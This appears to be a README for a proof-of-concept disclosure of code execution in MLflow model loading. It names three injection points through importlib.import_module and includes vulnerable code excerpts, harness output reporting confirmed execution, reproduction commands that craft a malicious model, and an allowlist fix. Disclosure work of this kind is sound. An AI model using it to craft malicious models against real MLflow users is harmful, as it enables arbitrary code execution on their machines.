Talson/mlflow-importlib-rce-poc

MLFlow arbitrary code execution via pickle_module_info.txt + loader_module

Vulnerability

CWE-94: Code Injection in MLFlow model loading via importlib.import_module() on attacker-controlled input.

Three independent attack vectors:

Bug 1: pickle_module_info.txt (mlflow/pytorch/init.py:695)

# Line 815: adds code/ to sys.path
_add_code_from_conf_to_system_path(local_model_path, pytorch_conf)
# Line 683-695: reads pickle_module_info.txt and imports
pickle_module_name = f.read()  # attacker-controlled
kwargs["pickle_module"] = importlib.import_module(pickle_module_name)  # RCE!
# Line 721: safety check runs AFTER — too late
_load_by_pickle_check(False)

Bug 2: keras_module (mlflow/tensorflow/init.py:668)

keras_module = importlib.import_module(flavor_conf.get("keras_module", ...))

Bug 3: loader_module (mlflow/pyfunc/init.py:1170)

_add_code_from_conf_to_system_path(local_path, conf, code_key=CODE)
model_impl = importlib.import_module(conf[MAIN])._load_pyfunc(data_path)

Confirmation

[*] Bug 1: PyTorch pickle_module_info.txt → importlib
  [*] Added to sys.path: malicious_pytorch/code
  [*] pickle_module_info.txt contains: 'evil'
  [*] Calling importlib.import_module('evil')...
  [!] RCE CONFIRMED: /tmp/mlflow_rce_poc.txt

[*] Bug 3: pyfunc loader_module → importlib
  [*] loader_module from MLmodel: 'evil_loader'
  [!] RCE CONFIRMED: /tmp/mlflow_pyfunc_rce_poc.txt

Reproduction

python3 craft_malicious_model.py
python3 harness.py malicious_pytorch pytorch   # Bug 1
python3 harness.py malicious_pyfunc pyfunc     # Bug 3
cat /tmp/mlflow_rce_poc.txt                    # confirms RCE

Fix

Validate module names against an allowlist before calling importlib.import_module().